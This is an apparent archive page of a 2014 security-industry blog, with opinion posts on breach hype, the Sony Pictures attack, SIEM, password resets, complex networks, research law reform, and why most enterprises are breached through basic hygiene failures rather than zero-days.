Monday, December 15, 2014

When the Press Aids the Enemy

Let's start with this- Freedom of the press is a critical part of any free society, and more importantly, a democratically governed society.

But that being said, I can't help but think there are times when the actions of the media aid the enemy. This is a touchy subject so I'll keep it concise and just make a few points that stick in my mind.

First, it's pretty hard to argue that the media looks for ever-more sensational headlines, truth be damned, to get clicks and drive traffic to their publication. Whether it's digital or actual ink-on-paper sensationalism sells, there's no arguing with that.

What troubles me is that like in the war on terrorism, the enemy succeeds in their mission when the media creates hysteria and fear. This much should be clear. The media tend to feed into this pretty regularly and we see this in some of the most sensational headlines from stories that should told in fact, not fantasy.

Saturday, December 13, 2014

Sony Pictures - Lessons From a Real Worst-Case Scenario

There is a lot of junk floating around on the Internet and in the media regarding the Sony Pictures breach. Who did it? What were the motives? These are all being violently discussed in the Twitter-sphere and elsewhere, and if you happen to read the articles and blogs being churned out by the media your head is probably spinning right now.
While I don't think we (the public) generally know enough to be able to talk about the breach with any certainty yet - and perhaps we never will - there is an critical point here which I think is being missed.

What is the lesson the public should take away from the breach, and subsequent consequences?

Tuesday, December 2, 2014

Is Bigger Budget an Adequate Measure of Security Efficacy?

Bigger budgets - the envy of security professionals and the scourge of CISOs the world over. While we'd all like bigger budgets to make security better within our organizations, getting more money to spend isn't necessarily a harbinger of goodness to come.

Monday, December 1, 2014

When Your Marquee Client Gets Hacked

There are people who will tell you that all PR is good PR. In my years in security I have seen both sides of that debate true. Lately though, particularly for security companies who are selling into the enterprise - this may be a double-edged sword that cuts deep.

Look at any reputable (and some not-so-much) security vendor's website and you'll notice there's always a page that gives you all the different logos of the companies who use their products. Most times the vendor pays dearly for that either through deep discounts, or some other concessions just to be able to use the reference. Generally this works to the vendor's advantage because seeing Vendor X used by your peers means that perhaps it's a good idea to give them a look.

Except, maybe, when those peers are getting hammered for being a data breach victim.

Wednesday, November 26, 2014

The Absolute Worst Case - 2 Examples of Security's Black Swans

You know that saying "It just got real"? If you're an employee of Sony Pictures - it just got real. In a very, very bad way. There are reports that the entire Sony Pictures infrastructure is down, computer, network, VPN and all - and that there isn't an ETR on target.

There are reports that there is highly sensitive information being held for "ransom", if you can call it that, by that attackers. There is even some reporting that someone representing the attackers has contacted the tech media and disclosed that the way they were able to infiltrate so completely was through insider help. In other words, the barbarians were literally inside the castle walls.

Wednesday, November 5, 2014

SIEM 3.0 - Continuing to Deliver on Failed Promises

SIEM - Security Information and Event Management - has been a product for many, many years now and virtually every organization out there has bought into the promise of what SIEM will bring. Since the term was coined in 2005, the security industry has largely struggled to deliver on all the promises the product family made.

Friday, October 31, 2014

Having Fun with Password Self-Rest Mechanisms

You know what makes me crazy? Security people who don't understand how crappy attempts to push security policy actually drive security (in the real world) lower. Sometimes, and this makes it a little bit less bad, it's not security people that are responsible but well-meaning developers, project managers, or others who simply don't understand.

The quintessential example of this phenomena is the password self-service reset functionality built into many websites. It's almost 2015 and I was forced to register for a website the other day where I can't really tell you why they needed me to set up a username and password, but I couldn't do what I needed to without that unfortunate string of events that all but guaranteed that I would be upset.

Tuesday, October 21, 2014

The Other Side of Breach Hysteria

In a world where everyone is trying to sell you something, security is certainly no exception. But separating the hype from the truth can easily turn into a full time job if you're not careful.

With all the recent retail data breaches, it would appear as though the sky is falling in large chunks right on top of us. Every big-name retailer, and even some of the smaller ones, are being hacked and their precious card data is bring whisked away to be sold to miscreants and criminals.

Now enter the sales and marketing pitches. After every breach it would seem our mailboxes fill up with subject lines such as-
"Learn how not to be the next , read how our latest gizmo will keep you secure!"
I don't know about you, but the snake-oil pitch is starting to get old. While it's clear that the average buyer is getting the message about data breaches and hackers - I believe there are two other aspects of this which aren't talked about enough.

Saturday, October 11, 2014

Security Lessons from Complex, Dynamic Environments

Security is hard.

Check that- security is relatively hard in static environments, but when you take on a dynamic company environment security becomes unpossible. I'm injecting a bit of humor here because you're going to need a chuckle before you read this.

Some of us in the security industry live in what's referred to as a static environment. Low rate of change (low entropy) means that you can implement a security control or measure and leave it there, knowing that it'll be just as effective today as tomorrow or the day after. Of course, this takes into account the rate at which effectiveness of security tools degrades, and understanding whether things were effective in the first place. It also means that you don't have to worry about things like a new system showing up on the network very often or a new route to the Internet. And when these do happen, you can be relatively sure something is wrong.

Early on in my career I worked for a technical recruiting firm. Computers were just a tool and companies having websites was a novelty. The ancient Novell NetWare 3.11 systems had not seen a reboot in literally half a decade but nothing was broken so everything just kept running and slowly accumulating inches of dust in the back room. When I worked there we modernized to NT 3.51 (don't laugh, I'm dating myself here) and built an IIS-based web page for external consumption. That place was a low entropy environment. We changed out server equipment never, and workstations every 5 years. If all of a sudden something new showed up in the 30 node network, I'd immediately suspect something was amiss. At the time, nothing that exciting ever happened.

Fast forward a few years and I'm working for a financial start-up. It's the early 2000's and this company is the polar opposite of a static company. We have at least 1 new server coming online a day, typically 5-10 new IP addresses showing up that no one can identify. We get by because we have one thing going for us. That one thing is the on-ramp to the Internet. We have a single T1 which connects us to the rest of the world. We drop a firewall and an IDS (I think we used an early SNORT version, maybe, plus a Sonic Wall firewall). When that changed and our employees started to go mobile and thus VPN things got a little hairy.

Fast forward another few years and I'm working at one of the world's largest companies on arguably one of the most complex networks mankind has ever seen. Forget trying to understand or know the everything - we're struggling to keep track of the few things we DO know. Heck we spend 4 weeks NMap'ing (and accidentally causing a minor crisis, oops) our own IP subnets to find all the NT4 systems when support finally and seriously for real this time, ran out.

Now let's look at security in the context of this article (and reported breach) - http://www.nextgov.com/cybersecurity/2014/10/dhs-attackers-hacked-critical-manufacturing-firm-months/96317/. Let me highlight a few key quotes for you-
"The event was complicated by the fact that the company had undergone corporate acquisitions, which introduced more network connections, and consequently a wider attack surface. The firm had more than 100 entry and exit points to the Internet."
You may chuckle at that, but I bet you have pretty close to this at your organization. Sure, maybe the ingress/egress points you control are few, and well protected, but it's the ones you don't know about which will hurt you. Therein lies the big problem - the disconnect between business risk and information security ("cyber") risk. If information security isn't a part of the fabric of your business, and a part of the core of the business decision-making process you're going to continue to fail big, or suffer by a thousand papercuts.

While not necessarily as sexy as that APT Defender Super Deluxe Edition v2.0 box your vendor is trying to sell you, network and system configuration management, change management and asset management are things you absolutely must get right, and must be involved in as a security professional for your enterprise. The alternative is you have total chaos wherein you're trying to plug each new issue as you find out about it, while the business has long forgotten about the project and has moved on. This sort of asynchronous approach is brutal in both human effort and capital expenditure.

Now let's focus on another interesting quote from the article. Everyone like to offer advice to breach victims, as if they have any clue what they're saying. This one is a gem-
"Going forward, “rearchitecting the network is the best approach to ensure that the company has a consistent security posture across its wide enterprise," officials advised."
What sort of half-baked advice is that?! Those of you who have worked incidents in your careers, have you ever told someone that the best thing to do with your super-complex network is to totally rearchitect it? How quickly would you get thrown out of a 2nd story window if you did? While this advice sounds sane to the person who's saying it - and likely has never had to follow the advice - can you imagine being given the task of completely rearchitecting a large, complex network in-place? I've seen it done. Once. And it took super-human effort, an army of consultants, more outages than I'd care to admit, and it was still cobbled together in some places for "legacy support".

Anyway, somewhere in this was a point about how large, complex networks and dynamic environments are doomed to security failure unless security is elevated to the business level and becomes an executive priority. I recognize that not every company will be able to do this because it won't fit their operating and risk models - but if that's the case you have to prepare for the fallout. In the cases where risk models say security is a business-level issue you have a chance to "get it right"; this means you have to give a solid effort and align to business, and so on.

Security is hard, folks.

Monday, October 6, 2014

To Reform and Institutionalize Research for Public Safety (and Security)

On October 3rd, 2014 a petition appeared on the Petitions.WhiteHouse.gov website titled "Unlocking public access to research on software safety through DMCA and CFAA reform". I encourage you to go read the text of the petition yourself.

While I believe that on the whole the CFAA and more urgently the DMCA need dramatic reforms if not to be flat-out dumped, I'm just not sure I'm completely on board with there this idea is going. I've discussed my displeasure for the CFAA on a few of our recent podcasts if you follow our Down the Security Rabbithole Podcast series, and I would likely throw a party if the DMCA were repealed tomorrow - but unlocking "research" broadly is dangerous.

Wednesday, September 24, 2014

Software Security - Hackable Even When It's Secure

On a recent call, one of the smartest technical folks I can name said something that made me reach for a notepad, to take the idea down for further development later. He was talking about why some of the systems enterprises believe are secure really aren't, even if they've managed to avoid some of the key issues.

Let me explain this a little deeper, because this thought merits such a discussion.

Friday, September 5, 2014

Managing Security in a Highly Decentralized Business Model

Information Security leadership has and will likely continue to be part politicking, part sales, part marketing, and part security. As anyone who has been a security leader or CISO in their job history can attest to, issuing edicts to the business is as easy as it is fruitless- Getting positive results in all but the most strictly regulated environments is nearly impossible. In high centralized organizations, at least, the CISO stands a chance since the organization likely has common goals, processes, and capital spending models. When you get to an organization that operates in a highly distributed and decentralized manner the task of keeping security pace grows to epic proportions.

Wednesday, August 20, 2014

The Indelicate Balance Between "Keep it Working" and "Keep It Safe"

Security professionals continue to fool themselves into believing we walk a delicate balance between keeping the business functional, and keeping it safe (secure). This is, in many people's belief including me, a lie. There is no delicate balance. The notion of being able to balance these on a teeter-totter looks like this:

Guess which one the 'safe and secure' is? Exactly.

An interesting conversation (warning: profanity, not so safe for office) happened earlier today. And as per the usual, someone very smart and seasoned in the enterprise side of defense made the point clear.

The bottom line is this:
  You can't ever cross the line into 'breaking business stuff' because you likely never get the chance again.

Each time the pendulum swings into the "secure" side of the spectrum it stays only for a tiny fraction of time, and we as security professionals have to work very hard to make it stick, or it swings back the other way... quickly.

So the question then is, how do we "make it stick"?

Simple! We demonstrate the business value of good security (aka keeping the enterprise safe). Of course, there are few things that are more simple than this, including tightrope walking the Grand Canyon, being an astronaut, and nuclear physics. Whoops, hyperbole ran away with me there for a moment, sorry. Back to reality.

So the key is to make security sticky. You need to align security to something the business can get behind. Hence, business value is so important to measure. But if you're still stuck reporting useless metrics - like how many port scans your firewall blocked, or how many SQL Injection instances your Software Security program identified - you're miles away from demonstrating business value.

This brings me back to KPIs, and the development of data points which strongly align to business/enterprise goals. All of this is predicated on someone in the security organization (or everyone?) being alert and aware to what the business is trying to accomplish at the board/strategic level. Does your organization have this type of awareness and knowledge? Are you leveraging it?

I can tell you that if you're not, the picture above will continue to be your fate... from yesterday to today and on into the future.

Wednesday, August 13, 2014

Getting in Our Own Way

The security community has this widely-understood reputation for self-destruction. This is not to say that other communities of professionals don't have this issue, but I don't know if the negative impact potential is as great. Clearly I'm not an expert in all fields, so I'll just call this a hunch based on unscientific gut feeling.

What I do see, though, much like with the efforts of the "I am the Cavalry" movement which has sent an open letter via Change.org to the auto industry, is resentment and dissent without much backing. In an industry which still has more questions than answers - and it gets worse every day - when someone stands up with a possible effort towards pushing a solution you quickly become a lightning rod for nay-sayers. Why is that?

One of my colleagues who is the veteran CISO has a potential answer - which for the record I'm uncomfortable with. He surmises that the collective "we"(as in security community) aren't actually interested in solving problems because the real solutions require "soft skills like personality" and business savvy in addition to technical accumen. It turns out that taking the time to understand the problem, and attempt to solve it (or at least move the ball forward) is very hard. With the plethora of security problems in nearly everything that has electricity flowing to it, it's near-trivial to find bugs. Some of these bugs are severe, some of them are the same 'ol, same 'ol SQL injection and buffer overflows which we identified over a decade ago but still haven't solved. So finding problems isn't rocket science - actually presenting real, workable solutions is the trick. This is just my humble opinion based on my time in the enterprise and consulting in.

I once worked for a CISO who told his team that he didn't want to hear about more problems until we had a proposed solution. Furthermore, I'm all for constructive criticism to help contribute to the solution - but don't attack the person or the proposed solution just to do it. Don't be that person.

I think it may have been Jeff Moss that I heard say it - "Put up or shut up"... so give me your solution idea, or stop whining things are broken.

Friday, August 8, 2014

Why Your Enterprise Most Likely Doesn't Have a Zero-Day Problem

It should come as no surprise that at Black Hat 2014 this week there were an enormous amount of invaluable conversations, as always. We talked about attacks, exploits and exploitation techniques as well as defenses basic and exotic. A few of these ended up in the same place, logically, and have led me to conclude that the majority of enterprises out there don't have a zero-day problem. Let me explain...

It should by now be clear if you're a security professional that the average enterprise struggles with even the most basic security hygiene. This of course makes life difficult when we start to pile on cross-silo dependancies - for example configuration management - for security effectiveness. While I certainly don't mean to imply that every enterprise can't do the basics, I have yet to meet a CISO who is comfortable with the fundamentals of asset, configuration and user management on an enterprise scale and in a timely fashion.

That being said, I further submit that zero-day attacks and exploits are an advanced level of attack typically reserved for targeted organizations which have significant levels of security capability mandating these advanced levels of effort. Basically if you've got your fundamentals right, and you're doing good block and tackle security, your users are well educated to be skeptical of links and things sent to them the determined attacker will be forced to turn to exploiting yet unknown and unpatched weaknesses in your software to get through your defenses. The truth is, I have come to believe, that the vast majority of enterprises just don't have their act together enough to merit that level of effort from the attacker.

From what I know, an attacker burning a zero-day exploit is a non-trivial matter. Zero-days, while still fairly plentiful, have a cost associated with them and an attacker will use one of these once he or she has exhausted the typical, and often easy, methods of breaching your security. There are simply too many options further down the chain. You have to look no further than a conversation with David Kennedy of TrustedSec who makes it clear exploits aren't required to break in. All that's required, in still far too many instances, is sending someone in the organization a malicious link, or a malicious file and they'll open the door and show you their closely-guarded intellectual property ... and probably hold the door for you as you walk out with it. Yes, indeed it is that simple to exploit corporate security with brain-boggling results.

So why burn a zero-day? Attackers typically won't unless they've encountered roadblocks in other avenues. Since PowerShell is installed on every new Windows PC, it's the perfect tool to use to execute an attack, legitimately, on a target host. All the user has to do is let you in...and we all know that most users will still click on the lure of a dancing bear or the promise of nude photos of their favorite celebrity.

So while your enterprise security organization may actually encounter some malware with zero-day exploits in them, they likely aren't targeted at your organization. The problem your average enterprise has is poor fundamentals - leaving you open to all manner of exploit and penetration without the use of any more advanced techniques than "asking the user for permission". So why would an attacker burn a precious zero-day against you? They likely wouldn't. Unless, you know, you're a target.
Google+